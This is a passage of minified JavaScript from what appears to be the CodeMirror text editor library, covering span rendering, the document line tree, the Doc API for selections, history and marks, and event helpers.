gn=gr.markedSpans,gp=gr.text,gw=0;if(!gn){for(var gB=1;gB<gq.length;gB+=2){gy.addToken(gy,gp.slice(gw,gw=gq[gB]),eX(gq[gB+1],gy.cm.options))}return}var gC=gp.length,gm=0,gB=1,gu="",gD,gs;var gF=0,gi,gE,gv,gG,gk;for(;;){if(gF==gm){gi=gE=gv=gG=gs="";gk=null;gF=Infinity;var go=[];for(var gz=0;gz<gn.length;++gz){var gA=gn[gz],gx=gA.marker;if(gx.type=="bookmark"&&gA.from==gm&&gx.widgetNode){go.push(gx)}else{if(gA.from<=gm&&(gA.to==null||gA.to>gm||gx.collapsed&&gA.to==gm&&gA.from==gm)){if(gA.to!=null&&gA.to!=gm&&gF>gA.to){gF=gA.to;gE=""}if(gx.className){gi+=" "+gx.className}if(gx.css){gs=gx.css}if(gx.startStyle&&gA.from==gm){gv+=" "+gx.startStyle}if(gx.endStyle&&gA.to==gF){gE+=" "+gx.endStyle}if(gx.title&&!gG){gG=gx.title}if(gx.collapsed&&(!gk||dR(gk.marker,gx)<0)){gk=gA}}else{if(gA.from>gm&&gF>gA.from){gF=gA.from}}}}if(gk&&(gk.from||0)==gm){ac(gy,(gk.to==null?gC+1:gk.to)-gm,gk.marker,gk.from==null);if(gk.to==null){return}if(gk.to==gm){gk=false}}if(!gk&&go.length){for(var gz=0;gz<go.length;++gz){ac(gy,0,go[gz])}}}if(gm>=gC){break}var gt=Math.min(gC,gF);while(true){if(gu){var gj=gm+gu.length;if(!gk){var gl=gj>gt?gu.slice(0,gt-gm):gu;gy.addToken(gy,gl,gD?gD+gi:gi,gv,gm+gl.length==gF?gE:"",gG,gs)}if(gj>=gt){gu=gu.slice(gt-gm);gm=gt;break}gm=gj;gv=""}gu=gp.slice(gw,gw=gq[gB++]);gD=eX(gq[gB++],gy.cm.options)}}}function dT(gi,gj){return gj.from.ch==0&&gj.to.ch==0&&fH(gj.text)==""&&(!gi.cm||gi.cm.options.wholeLineUpdateBefore)}function fz(gv,gq,gj,gm){function gw(gy){return gj?gj[gy]:null}function gk(gy,gA,gz){en(gy,gA,gz,gm);ae(gy,"change",gy,gq)}function gi(gB,gz){for(var gA=gB,gy=[];gA<gz;++gA){gy.push(new f7(gx[gA],gw(gA),gm))}return gy}var gu=gq.from,gt=gq.to,gx=gq.text;var gr=fg(gv,gu.line),gs=fg(gv,gt.line);var gp=fH(gx),gl=gw(gx.length-1),go=gt.line-gu.line;if(gq.full){gv.insert(0,gi(0,gx.length));gv.remove(gx.length,gv.size-gx.length)}else{if(dT(gv,gq)){var gn=gi(0,gx.length-1);gk(gs,gs.text,gl);if(go){gv.remove(gu.line,go)}if(gn.length){gv.insert(gu.line,gn)}}else{if(gr==gs){if(gx.length==1){gk(gr,gr.text.slice(0,gu.ch)+gp+gr.text.slice(gt.ch),gl)}else{var gn=gi(1,gx.length-1);gn.push(new f7(gp+gr.text.slice(gt.ch),gl,gm));gk(gr,gr.text.slice(0,gu.ch)+gx[0],gw(0));gv.insert(gu.line+1,gn)}}else{if(gx.length==1){gk(gr,gr.text.slice(0,gu.ch)+gx[0]+gs.text.slice(gt.ch),gw(0));gv.remove(gu.line+1,go)}else{gk(gr,gr.text.slice(0,gu.ch)+gx[0],gw(0));gk(gs,gp+gs.text.slice(gt.ch),gl);var gn=gi(1,gx.length-1);if(go>1){gv.remove(gu.line+1,go-1)}gv.insert(gu.line+1,gn)}}}}ae(gv,"change",gv,gq)}function e0(gj){this.lines=gj;this.parent=null;for(var gk=0,gi=0;gk<gj.length;++gk){gj[gk].parent=this;gi+=gj[gk].height}this.height=gi}e0.prototype={chunkSize:function(){return this.lines.length},removeInner:function(gi,gm){for(var gk=gi,gl=gi+gm;gk<gl;++gk){var gj=this.lines[gk];this.height-=gj.height;bC(gj);ae(gj,"delete")}this.lines.splice(gi,gm)},collapse:function(gi){gi.push.apply(gi,this.lines)},insertInner:function(gj,gk,gi){this.height+=gi;this.lines=this.lines.slice(0,gj).concat(gk).concat(this.lines.slice(gj));for(var gl=0;gl<gk.length;++gl){gk[gl].parent=this}},iterN:function(gi,gl,gk){for(var gj=gi+gl;gi<gj;++gi){if(gk(this.lines[gi])){return true}}}};function fy(gl){this.children=gl;var gk=0,gi=0;for(var gj=0;gj<gl.length;++gj){var gm=gl[gj];gk+=gm.chunkSize();gi+=gm.height;gm.parent=this}this.size=gk;this.height=gi;this.parent=null}fy.prototype={chunkSize:function(){return this.size},removeInner:function(gi,gp){this.size-=gp;for(var gk=0;gk<this.children.length;++gk){var go=this.children[gk],gm=go.chunkSize();if(gi<gm){var gl=Math.min(gp,gm-gi),gn=go.height;go.removeInner(gi,gl);this.height-=gn-go.height;if(gm==gl){this.children.splice(gk--,1);go.parent=null}if((gp-=gl)==0){break}gi=0}else{gi-=gm}}if(this.size-gp<25&&(this.children.length>1||!(this.children[0] instanceof e0))){var gj=[];this.collapse(gj);this.children=[new e0(gj)];this.children[0].parent=this}},collapse:function(gi){for(var gj=0;gj<this.children.length;++gj){this.children[gj].collapse(gi)}},insertInner:function(gj,gk,gi){this.size+=gk.length;this.height+=gi;for(var gn=0;gn<this.children.length;++gn){var gp=this.children[gn],go=gp.chunkSize();if(gj<=go){gp.insertInner(gj,gk,gi);if(gp.lines&&gp.lines.length>50){while(gp.lines.length>50){var gm=gp.lines.splice(gp.lines.length-25,25);var gl=new e0(gm);gp.height-=gl.height;this.children.splice(gn+1,0,gl);gl.parent=this}this.maybeSpill()}break}gj-=go}},maybeSpill:function(){if(this.children.length<=10){return}var gl=this;do{var gj=gl.children.splice(gl.children.length-5,5);var gk=new fy(gj);if(!gl.parent){var gm=new fy(gl.children);gm.parent=gl;gl.children=[gm,gk];gl=gm}else{gl.size-=gk.size;gl.height-=gk.height;var gi=di(gl.parent.children,gl);gl.parent.children.splice(gi+1,0,gk)}gk.parent=gl.parent}while(gl.children.length>10);gl.parent.maybeSpill()},iterN:function(gi,go,gn){for(var gj=0;gj<this.children.length;++gj){var gm=this.children[gj],gl=gm.chunkSize();if(gi<gl){var gk=Math.min(go,gl-gi);if(gm.iterN(gi,gk,gn)){return true}if((go-=gk)==0){break}gi=0}else{gi-=gl}}}};var cs=0;var at=H.Doc=function(gk,gj,gi){if(!(this instanceof at)){return new at(gk,gj,gi)}if(gi==null){gi=0}fy.call(this,[new e0([new f7("",null)])]);this.first=gi;this.scrollTop=this.scrollLeft=0;this.cantEdit=false;this.cleanGeneration=1;this.frontier=gi;var gl=W(gi,0);this.sel=eT(gl);this.history=new fU(null);this.id=++cs;this.modeOption=gj;if(typeof gk=="string"){gk=a1(gk)}fz(this,{from:gl,to:gl,text:gk});bV(this,eT(gl),Z)};at.prototype=cl(fy.prototype,{constructor:at,iter:function(gk,gj,gi){if(gi){this.iterN(gk-this.first,gj-gk,gi)}else{this.iterN(this.first,this.first+this.size,gk)}},insert:function(gj,gk){var gi=0;for(var gl=0;gl<gk.length;++gl){gi+=gk[gl].height}this.insertInner(gj-this.first,gk,gi)},remove:function(gi,gj){this.removeInner(gi-this.first,gj)},getValue:function(gj){var gi=a3(this,this.first,this.first+this.size);if(gj===false){return gi}return gi.join(gj||"\n")},setValue:cE(function(gj){var gk=W(this.first,0),gi=this.first+this.size-1;bh(this,{from:gk,to:W(gi,fg(this,gi).text.length),text:a1(gj),origin:"setValue",full:true},true);bV(this,eT(gk))}),replaceRange:function(gj,gl,gk,gi){gl=fK(this,gl);gk=gk?fK(this,gk):gl;a2(this,gj,gl,gk,gi)},getRange:function(gl,gk,gj){var gi=f5(this,fK(this,gl),fK(this,gk));if(gj===false){return gi}return gi.join(gj||"\n")},getLine:function(gj){var gi=this.getLineHandle(gj);return gi&&gi.text},getLineHandle:function(gi){if(ca(this,gi)){return fg(this,gi)}},getLineNumber:function(gi){return bO(gi)},getLineHandleVisualStart:function(gi){if(typeof gi=="number"){gi=fg(this,gi)}return y(gi)},lineCount:function(){return this.size},firstLine:function(){return this.first},lastLine:function(){return this.first+this.size-1},clipPos:function(gi){return fK(this,gi)},getCursor:function(gk){var gi=this.sel.primary(),gj;if(gk==null||gk=="head"){gj=gi.head}else{if(gk=="anchor"){gj=gi.anchor}else{if(gk=="end"||gk=="to"||gk===false){gj=gi.to()}else{gj=gi.from()}}}return gj},listSelections:function(){return this.sel.ranges},somethingSelected:function(){return this.sel.somethingSelected()},setCursor:cE(function(gi,gk,gj){F(this,fK(this,typeof gi=="number"?W(gi,gk||0):gi),null,gj)}),setSelection:cE(function(gj,gk,gi){F(this,fK(this,gj),fK(this,gk||gj),gi)}),extendSelection:cE(function(gk,gi,gj){fX(this,fK(this,gk),gi&&fK(this,gi),gj)}),extendSelections:cE(function(gj,gi){aw(this,d1(this,gj,gi))}),extendSelectionsBy:cE(function(gj,gi){aw(this,bT(this.sel.ranges,gj),gi)}),setSelections:cE(function(gi,gm,gk){if(!gi.length){return}for(var gl=0,gj=[];gl<gi.length;gl++){gj[gl]=new dZ(fK(this,gi[gl].anchor),fK(this,gi[gl].head))}if(gm==null){gm=Math.min(gi.length-1,this.sel.primIndex)}bV(this,cx(gj,gm),gk)}),addSelection:cE(function(gk,gl,gj){var gi=this.sel.ranges.slice(0);gi.push(new dZ(fK(this,gk),fK(this,gl||gk)));bV(this,cx(gi,gi.length-1),gj)}),getSelection:function(gm){var gj=this.sel.ranges,gi;for(var gk=0;gk<gj.length;gk++){var gl=f5(this,gj[gk].from(),gj[gk].to());gi=gi?gi.concat(gl):gl}if(gm===false){return gi}else{return gi.join(gm||"\n")}},getSelections:function(gm){var gl=[],gi=this.sel.ranges;for(var gj=0;gj<gi.length;gj++){var gk=f5(this,gi[gj].from(),gi[gj].to());if(gm!==false){gk=gk.join(gm||"\n")}gl[gj]=gk}return gl},replaceSelection:function(gk,gm,gi){var gl=[];for(var gj=0;gj<this.sel.ranges.length;gj++){gl[gj]=gk}this.replaceSelections(gl,gm,gi||"+input")},replaceSelections:cE(function(gn,gp,gk){var gm=[],go=this.sel;for(var gl=0;gl<go.ranges.length;gl++){var gj=go.ranges[gl];gm[gl]={from:gj.from(),to:gj.to(),text:a1(gn[gl]),origin:gk}}var gi=gp&&gp!="end"&&af(this,gm,gp);for(var gl=gm.length-1;gl>=0;gl--){bh(this,gm[gl])}if(gi){e8(this,gi)}else{if(this.cm){fG(this.cm)}}}),undo:cE(function(){b9(this,"undo")}),redo:cE(function(){b9(this,"redo")}),undoSelection:cE(function(){b9(this,"undo",true)}),redoSelection:cE(function(){b9(this,"redo",true)}),setExtending:function(gi){this.extend=gi},getExtending:function(){return this.extend},historySize:function(){var gl=this.history,gi=0,gk=0;for(var gj=0;gj<gl.done.length;gj++){if(!gl.done[gj].ranges){++gi}}for(var gj=0;gj<gl.undone.length;gj++){if(!gl.undone[gj].ranges){++gk}}return{undo:gi,redo:gk}},clearHistory:function(){this.history=new fU(this.history.maxGeneration)},markClean:function(){this.cleanGeneration=this.changeGeneration(true)},changeGeneration:function(gi){if(gi){this.history.lastOp=this.history.lastSelOp=this.history.lastOrigin=null}return this.history.generation},isClean:function(gi){return this.history.generation==(gi||this.cleanGeneration)},getHistory:function(){return{done:bQ(this.history.done),undone:bQ(this.history.undone)}},setHistory:function(gj){var gi=this.history=new fU(this.history.maxGeneration);gi.done=bQ(gj.done.slice(0),null,true);gi.undone=bQ(gj.undone.slice(0),null,true)},addLineClass:cE(function(gk,gj,gi){return eA(this,gk,gj=="gutter"?"gutter":"class",function(gl){var gm=gj=="text"?"textClass":gj=="background"?"bgClass":gj=="gutter"?"gutterClass":"wrapClass";if(!gl[gm]){gl[gm]=gi}else{if(S(gi).test(gl[gm])){return false}else{gl[gm]+=" "+gi}}return true})}),removeLineClass:cE(function(gk,gj,gi){return eA(this,gk,gj=="gutter"?"gutter":"class",function(gm){var gp=gj=="text"?"textClass":gj=="background"?"bgClass":gj=="gutter"?"gutterClass":"wrapClass";var go=gm[gp];if(!go){return false}else{if(gi==null){gm[gp]=null}else{var gn=go.match(S(gi));if(!gn){return false}var gl=gn.index+gn[0].length;gm[gp]=go.slice(0,gn.index)+(!gn.index||gl==go.length?"":" ")+go.slice(gl)||null}}return true})}),addLineWidget:cE(function(gk,gj,gi){return bI(this,gk,gj,gi)}),removeLineWidget:function(gi){gi.clear()},markText:function(gk,gj,gi){return eG(this,fK(this,gk),fK(this,gj),gi,"range")},setBookmark:function(gk,gi){var gj={replacedWith:gi&&(gi.nodeType==null?gi.widget:gi),insertLeft:gi&&gi.insertLeft,clearWhenEmpty:false,shared:gi&&gi.shared,handleMouseEvents:gi&&gi.handleMouseEvents};gk=fK(this,gk);return eG(this,gk,gk,gj,"bookmark")},findMarksAt:function(gm){gm=fK(this,gm);var gl=[],gj=fg(this,gm.line).markedSpans;if(gj){for(var gi=0;gi<gj.length;++gi){var gk=gj[gi];if((gk.from==null||gk.from<=gm.ch)&&(gk.to==null||gk.to>=gm.ch)){gl.push(gk.marker.parent||gk.marker)}}}return gl},findMarks:function(gm,gl,gi){gm=fK(this,gm);gl=fK(this,gl);var gj=[],gk=gm.line;this.iter(gm.line,gl.line+1,function(gn){var gp=gn.markedSpans;if(gp){for(var go=0;go<gp.length;go++){var gq=gp[go];if(!(gk==gm.line&&gm.ch>gq.to||gq.from==null&&gk!=gm.line||gk==gl.line&&gq.from>gl.ch)&&(!gi||gi(gq.marker))){gj.push(gq.marker.parent||gq.marker)}}}++gk});return gj},getAllMarks:function(){var gi=[];this.iter(function(gk){var gj=gk.markedSpans;if(gj){for(var gl=0;gl<gj.length;++gl){if(gj[gl].from!=null){gi.push(gj[gl].marker)}}}});return gi},posFromIndex:function(gj){var gi,gk=this.first;this.iter(function(gl){var gm=gl.text.length+1;if(gm>gj){gi=gj;return true}gj-=gm;++gk});return fK(this,W(gk,gi))},indexFromPos:function(gj){gj=fK(this,gj);var gi=gj.ch;if(gj.line<this.first||gj.ch<0){return 0}this.iter(this.first,gj.line,function(gk){gi+=gk.text.length+1});return gi},copy:function(gi){var gj=new at(a3(this,this.first,this.first+this.size),this.modeOption,this.first);gj.scrollTop=this.scrollTop;gj.scrollLeft=this.scrollLeft;gj.sel=this.sel;gj.extend=false;if(gi){gj.history.undoDepth=this.history.undoDepth;gj.setHistory(this.getHistory())}return gj},linkedDoc:function(gi){if(!gi){gi={}}var gl=this.first,gk=this.first+this.size;if(gi.from!=null&&gi.from>gl){gl=gi.from}if(gi.to!=null&&gi.to<gk){gk=gi.to}var gj=new at(a3(this,gl,gk),gi.mode||this.modeOption,gl);if(gi.sharedHist){gj.history=this.history}(this.linked||(this.linked=[])).push({doc:gj,sharedHist:gi.sharedHist});gj.linked=[{doc:this,isParent:true,sharedHist:gi.sharedHist}];dG(gj,eQ(this));return gj},unlinkDoc:function(gj){if(gj instanceof H){gj=gj.doc}if(this.linked){for(var gk=0;gk<this.linked.length;++gk){var gl=this.linked[gk];if(gl.doc!=gj){continue}this.linked.splice(gk,1);gj.unlinkDoc(this);ep(eQ(this));break}}if(gj.history==this.history){var gi=[gj.id];d8(gj,function(gm){gi.push(gm.id)},true);gj.history=new fU(null);gj.history.done=bQ(this.history.done,gi);gj.history.undone=bQ(this.history.undone,gi)}},iterLinkedDocs:function(gi){d8(this,gi)},getMode:function(){return this.mode},getEditor:function(){return this.cm}});at.prototype.eachLine=at.prototype.iter;var d="iter insert remove copy getEditor constructor".split(" ");for(var bL in at.prototype){if(at.prototype.hasOwnProperty(bL)&&di(d,bL)<0){H.prototype[bL]=(function(gi){return function(){return gi.apply(this.doc,arguments)}})(at.prototype[bL])}}bz(at);function d8(gl,gk,gj){function gi(gr,gp,gn){if(gr.linked){for(var go=0;go<gr.linked.length;++go){var gm=gr.linked[go];if(gm.doc==gp){continue}var gq=gn&&gm.sharedHist;if(gj&&!gq){continue}gk(gm.doc,gq);gi(gm.doc,gr,gq)}}}gi(gl,null,true)}function ec(gi,gj){if(gj.cm){throw new Error("This document is already in use.")}gi.doc=gj;gj.cm=gi;X(gi);bs(gi);if(!gi.options.lineWrapping){h(gi)}gi.options.mode=gj.modeOption;ah(gi)}function fg(gl,gn){gn-=gl.first;if(gn<0||gn>=gl.size){throw new Error("There is no line "+(gn+gl.first)+" in the document.")}for(var gi=gl;!gi.lines;){for(var gj=0;;++gj){var gm=gi.children[gj],gk=gm.chunkSize();if(gn<gk){gi=gm;break}gn-=gk}}return gi.lines[gn]}function f5(gk,gm,gi){var gj=[],gl=gm.line;gk.iter(gm.line,gi.line+1,function(gn){var go=gn.text;if(gl==gi.line){go=go.slice(0,gi.ch)}if(gl==gm.line){go=go.slice(gm.ch)}gj.push(go);++gl});return gj}function a3(gj,gl,gk){var gi=[];gj.iter(gl,gk,function(gm){gi.push(gm.text)});return gi}function f6(gj,gi){var gk=gi-gj.height;if(gk){for(var gl=gj;gl;gl=gl.parent){gl.height+=gk}}}function bO(gi){if(gi.parent==null){return null}var gm=gi.parent,gl=di(gm.lines,gi);for(var gj=gm.parent;gj;gm=gj,gj=gj.parent){for(var gk=0;;++gk){if(gj.children[gk]==gm){break}gl+=gj.children[gk].chunkSize()}}return gl+gm.first}function bH(gk,gn){var gp=gk.first;outer:do{for(var gl=0;gl<gk.children.length;++gl){var go=gk.children[gl],gm=go.height;if(gn<gm){gk=go;continue outer}gn-=gm;gp+=go.chunkSize()}return gp}while(!gk.lines);for(var gl=0;gl<gk.lines.length;++gl){var gj=gk.lines[gl],gi=gj.height;if(gn<gi){break}gn-=gi}return gp+gl}function bN(gk){gk=y(gk);var gm=0,gj=gk.parent;for(var gl=0;gl<gj.lines.length;++gl){var gi=gj.lines[gl];if(gi==gk){break}else{gm+=gi.height}}for(var gn=gj.parent;gn;gj=gn,gn=gj.parent){for(var gl=0;gl<gn.children.length;++gl){var go=gn.children[gl];if(go==gj){break}else{gm+=go.height}}}return gm}function a(gj){var gi=gj.order;if(gi==null){gi=gj.order=bi(gj.text)}return gi}function fU(gi){this.done=[];this.undone=[];this.undoDepth=Infinity;this.lastModTime=this.lastSelTime=0;this.lastOp=this.lastSelOp=null;this.lastOrigin=this.lastSelOrigin=null;this.generation=this.maxGeneration=gi||1}function dv(gi,gk){var gj={from:cj(gk.from),to:cY(gk),text:f5(gi,gk.from,gk.to)};bZ(gi,gj,gk.from.line,gk.to.line+1);d8(gi,function(gl){bZ(gl,gj,gk.from.line,gk.to.line+1)},true);return gj}function fC(gj){while(gj.length){var gi=fH(gj);if(gi.ranges){gj.pop()}else{break}}}function eN(gj,gi){if(gi){fC(gj.done);return fH(gj.done)}else{if(gj.done.length&&!fH(gj.done).ranges){return fH(gj.done)}else{if(gj.done.length>1&&!gj.done[gj.done.length-2].ranges){gj.done.pop();return fH(gj.done)}}}}function fN(go,gm,gi,gl){var gk=go.history;gk.undone.length=0;var gj=+new Date,gp;if((gk.lastOp==gl||gk.lastOrigin==gm.origin&&gm.origin&&((gm.origin.charAt(0)=="+"&&go.cm&&gk.lastModTime>gj-go.cm.options.historyEventDelay)||gm.origin.charAt(0)=="*"))&&(gp=eN(gk,gk.lastOp==gl))){var gq=fH(gp.changes);if(cg(gm.from,gm.to)==0&&cg(gm.from,gq.to)==0){gq.to=cY(gm)}else{gp.changes.push(dv(go,gm))}}else{var gn=fH(gk.done);if(!gn||!gn.ranges){cO(go.sel,gk.done)}gp={changes:[dv(go,gm)],generation:gk.generation};gk.done.push(gp);while(gk.done.length>gk.undoDepth){gk.done.shift();if(!gk.done[0].ranges){gk.done.shift()}}}gk.done.push(gi);gk.generation=++gk.maxGeneration;gk.lastModTime=gk.lastSelTime=gj;gk.lastOp=gk.lastSelOp=gl;gk.lastOrigin=gk.lastSelOrigin=gm.origin;if(!gq){aE(go,"historyAdded")}}function bB(gm,gi,gk,gl){var gj=gi.charAt(0);return gj=="*"||gj=="+"&&gk.ranges.length==gl.ranges.length&&gk.somethingSelected()==gl.somethingSelected()&&new Date-gm.history.lastSelTime<=(gm.cm?gm.cm.options.historyEventDelay:500)}function gc(gn,gl,gi,gk){var gm=gn.history,gj=gk&&gk.origin;if(gi==gm.lastSelOp||(gj&&gm.lastSelOrigin==gj&&(gm.lastModTime==gm.lastSelTime&&gm.lastOrigin==gj||bB(gn,gj,fH(gm.done),gl)))){gm.done[gm.done.length-1]=gl}else{cO(gl,gm.done)}gm.lastSelTime=+new Date;gm.lastSelOrigin=gj;gm.lastSelOp=gi;if(gk&&gk.clearRedo!==false){fC(gm.undone)}}function cO(gj,gi){var gk=fH(gi);if(!(gk&&gk.ranges&&gk.equals(gj))){gi.push(gj)}}function bZ(gj,gn,gm,gl){var gi=gn["spans_"+gj.id],gk=0;gj.iter(Math.max(gj.first,gm),Math.min(gj.first+gj.size,gl),function(go){if(go.markedSpans){(gi||(gi=gn["spans_"+gj.id]={}))[gk]=go.markedSpans}++gk})}function bm(gk){if(!gk){return null}for(var gj=0,gi;gj<gk.length;++gj){if(gk[gj].marker.explicitlyCleared){if(!gi){gi=gk.slice(0,gj)}}else{if(gi){gi.push(gk[gj])}}}return !gi?gk:gi.length?gi:null}function b5(gl,gm){var gk=gm["spans_"+gl.id];if(!gk){return null}for(var gj=0,gi=[];gj<gm.text.length;++gj){gi.push(bm(gk[gj]))}return gi}function bQ(gt,gl,gs){for(var go=0,gj=[];go<gt.length;++go){var gk=gt[go];if(gk.ranges){gj.push(gs?f4.prototype.deepCopy.call(gk):gk);continue}var gq=gk.changes,gr=[];gj.push({changes:gr});for(var gn=0;gn<gq.length;++gn){var gp=gq[gn],gm;gr.push({from:gp.from,to:gp.to,text:gp.text});if(gl){for(var gi in gp){if(gm=gi.match(/^spans_(\d+)$/)){if(di(gl,Number(gm[1]))>-1){fH(gr)[gi]=gp[gi];delete gp[gi]}}}}}}return gj}function I(gl,gk,gj,gi){if(gj<gl.line){gl.line+=gi}else{if(gk<gl.line){gl.line=gk;gl.ch=0}}}function fi(gl,gn,go,gp){for(var gk=0;gk<gl.length;++gk){var gi=gl[gk],gm=true;if(gi.ranges){if(!gi.copied){gi=gl[gk]=gi.deepCopy();gi.copied=true}for(var gj=0;gj<gi.ranges.length;gj++){I(gi.ranges[gj].anchor,gn,go,gp);I(gi.ranges[gj].head,gn,go,gp)}continue}for(var gj=0;gj<gi.changes.length;++gj){var gq=gi.changes[gj];if(go<gq.from.line){gq.from=W(gq.from.line+gp,gq.from.ch);gq.to=W(gq.to.line+gp,gq.to.ch)}else{if(gn<=gq.to.line){gm=false;break}}}if(!gm){gl.splice(0,gk+1);gk=0}}}function dF(gj,gm){var gl=gm.from.line,gk=gm.to.line,gi=gm.text.length-(gk-gl)-1;fi(gj.done,gl,gk,gi);fi(gj.undone,gl,gk,gi)}var cH=H.e_preventDefault=function(gi){if(gi.preventDefault){gi.preventDefault()}else{gi.returnValue=false}};var dr=H.e_stopPropagation=function(gi){if(gi.stopPropagation){gi.stopPropagation()}else{gi.cancelBubble=true}};function bM(gi){return gi.defaultPrevented!=null?gi.defaultPrevented:gi.returnValue==false}var es=H.e_stop=function(gi){cH(gi);dr(gi)};function L(gi){return gi.target||gi.srcElement}function fO(gj){var gi=gj.which;if(gi==null){if(gj.button&1){gi=1}else{if(gj.button&2){gi=3}else{if(gj.button&4){gi=2}}}}if(b8&&gj.ctrlKey&&gi==1){gi=3}return gi}var bY=H.on=function(gl,gj,gk){if(gl.addEventListener){gl.addEventListener(gj,gk,false)}else{if(gl.attachEvent){gl.attachEvent("on"+gj,gk)}else{var gm=gl._handlers||(gl._handlers={});var gi=gm[gj]||(gm[gj]=[]);gi.push(gk)}}};var ee=H.off=function(gm,gk,gl){if(gm.removeEventListener){gm.removeEventListener(gk,gl,false)}else{if(gm.detachEvent){gm.detachEvent("on"+gk,gl)}else{var gi=gm._handlers&&gm._handlers[gk];if(!gi){return}for(var gj=0;gj<gi.length;++gj){if(gi[gj]==gl){gi.splice(gj,1);break}}}}};var aE=H.signal=function(gm,gl){var gi=gm._handlers&&gm._handlers[gl];if(!gi){return}var gj=Array.prototype.slice.call(arguments,2);for(var gk=0;gk<gi.length;++gk){gi[gk].apply(null,gj)}};var bA=null;function ae(go,gm){var gi=go._handlers&&go._handlers[gm];if(!gi){return}var gk=Array.prototype.slice.call(arguments,2),gn;if(bq){gn=bq.delayedCallbacks}else{if(bA){gn=bA}else{gn=bA=[];setTimeout(aM,0)}}function gj(gp){return function(){gp.apply(null,gk)}}for(var gl=0;gl<gi.length;++gl){gn.push(gj(gi[gl]))}}function aM(){var gi=bA;bA=null;for(var gj=0;gj<gi.length;++gj){gi[gj]()}}function aR(gi,gk,gj){if(typeof gk=="string"){gk={type:gk,preventDefault:function(){this.defaultPrevented=true}}}aE(gi,gj||gk.type,gi,gk);return bM(gk)||gk.codemirrorIgnore}function V(gj){var gi=gj._handlers&&gj._handlers.cursorActivity;if(!gi){return}var gl=gj.curOp.cursorActivityHandlers||(gj.curOp.cursorActivityHandlers=[]);for(var gk=0;gk<gi.length;++gk){if(di(gl,gi[gk])==-1){gl.push(gi[gk])}}}function fj(gk,gj){var gi=gk._handlers&&gk._handlers[gj];return gi&&gi.length>0}function bz(gi){gi.prototype.on=function(gj,gk){bY(this,gj,gk)};gi.prototype.off=function(gj,gk){ee(this,gj,gk)}}var dK=30;var cb=H.Pass={toString:function(){return"CodeMirror.Pass"}};var Z={scroll:false},M={origin:"*mouse"},cX={origin:"+move"};function gh(){this.id=null}gh.prototype.set=function(gi,gj){clearTimeout(this.id);this.id=setTimeout(gj,gi)};var bU=H.countColumn=function(gl,gj,gn,go,gk){if(gj==null){gj=gl.search(/[^\s\u00a0]/);if(gj==-1){gj=gl.length}}for(var gm=go||0,gp=gk||0;;){var gi=gl.indexOf("\t",gm);if(gi<0||gi>=gj){return gp+(gj-gm)}gp+=gi-gm;gp+=gn-(gp%gn);gm=gi+1}};function er(gm,gl,gn){for(var go=0,gk=0;;){var gj=gm.indexOf("\t",go);if(gj==-1){gj=gm.length}var gi=gj-go;if(gj==gm.length||gk+gi>=gl){return go+Math.min(gi,gl-gk)}gk+=gj-go;gk+=gn-(gk%gn);go=gj+1;if(gk>=gl){return go}}}var a0=[""];function cq(gi){while(a0.length<=gi){a0.push(fH(a0)+" ")}return a0[gi]}function fH(gi){return gi[gi.length-1]}var dM=function(gi){gi.select()};if(e2){dM=function(gi){gi.selectionStart=0;gi.selectionEnd=gi.value.length}}else{if(dL){dM=function(gj){try{gj.select()}catch(gi){}}}}function di(gk,gi){for(var gj=0;gj<gk.length;++gj){if(gk[gj]==gi){return gj}}return -1}function bT(gl,gk){var gi=[];for(var gj=0;gj<gl.length;gj++){gi[gj]=gk(gl[gj],gj)}return gi}function fV(){}function cl(gk,gi){var gj;if(Object.create){gj=Object.create(gk)}else{fV.prototype=gk;gj=new fV()}if(gi){aN(gi,gj)}return gj}function aN(gk,gj,gi){if(!gj){gj={}}for(var gl in gk){if(gk.hasOwnProperty(gl)&&(gi!==false||!gj.hasOwnProperty(gl))){gj[gl]=gk[gl]}}return gj}function cw(gj){var gi=Array.prototype.slice.call(arguments,1);return function(){return gj.apply(null,gi)}}var bd=/[\u00df\u0587\u0590-\u05f4\u0600-\u06ff\u3040-\u309f\u30a0-\u30ff\u3400-\u4db5\u4e00-\u9fcc\uac00-\ud7af]/;var fE=H.isWordChar=function(gi){return/\w/.test(gi)||gi>"\x80"&&(gi.toUpperCase()!=gi.toLowerCase()||bd.test(gi))};function cB(gi,gj){if(!gj){return fE(gi)}if(gj.source.indexOf("\\w")>-1&&fE(gi)){return true}return gj.test(gi)}function eV(gi){for(var gj in gi){if(gi.hasOwnProperty(gj)&&gi[gj]){return false}}return true}var eK=/[\u0300-\u036f\u0483-\u0489\u0591-\u05bd\u05bf\u05c1\u05c2\u05c4\u05c5\u05c7\u0610-\u061a\u064b-\u065e\u0670\u06d6-\u06dc\u06de-\u06e4\u06e7\u06e8\u06ea-\u06ed\u0711\u0730-\u074a\u07a6-\u07b0\u07eb-\u07f3\u0816-\u0819\u081b-\u0823\u0825-\u0827\u0829-\u082d\u0900-\u0902\u093c\u0941-\u0948\u094d\u0951-\u0955\u0962\u0963\u0981\u09bc\u09be\u09c1-\u09c4\u09cd\u09d7\u09e2\u09e3\u0a01\u0a02\u0a3c\u0a41\u0a42\u0a47\u0a48\u0a4b-\u0a4d\u0a51\u0a70\u0a71\u0a75\u0a81\u0a82\u0abc\u0ac1-\u0ac5\u0ac7\u0ac8\u0acd\u0ae2\u0ae3\u0b01\u0b3c\u0b3e\u0b3f\u0b41-\u0b44\u0b4d\u0b56\u0b57\u0b62\u0b63\u0b82\u0bbe\u0bc0\u0bcd\u0bd7\u0c3e-\u0c40\u0c46-\u0c48\u0c4a-\u0c4d\u0c55\u0c56\u0c62\u0c63\u0cbc\u0cbf\u0cc2\u0cc6\u0ccc\u0ccd\u0cd5\u0cd6\u0ce2\u0ce3\u0d3e\u0d41-\u0d44\u0d4d\u0d57\u0d62\u0d63\u0dca\u0dcf\u0dd2-\u0dd4\u0dd6\u0ddf\u0e31\u0e34-\u0e3a\u0e47-\u0e4e\u0eb1\u0eb4-\u0eb9\u0ebb\u0ebc\u0ec8-\u0ecd\u0f18\u0f19\u0f35\u0f37\u0f39\u0f71-\u0f7e\u0f80-\u0f84\u0f86\u0f87\u0f90-\u0f97\u0f99-\u0fbc\u0fc6\u102d-\u1030\u1032-\u1037\u1039\u103a\u103d\u103e\u1058\u1059\u105e-\u1060\u1071-\u1074\u1082\u1085\u1086\u108d\u109d\u135f\u1712-\u1714\u1732-\u1734\u1752\u1753\u1772\u1773\u17b7-\u17bd\u17c6\u17c9-\u17d3\u17dd\u180b-\u180d\u18a9\u1920-\u1922\u1927\u1928\u1932\u1939-\u193b\u1a17\u1a18\u1a56\u1a58-\u1a5e\u1a60\u1a62\u1a65-\u1a6c\u1a73-\u1a7c\u1a7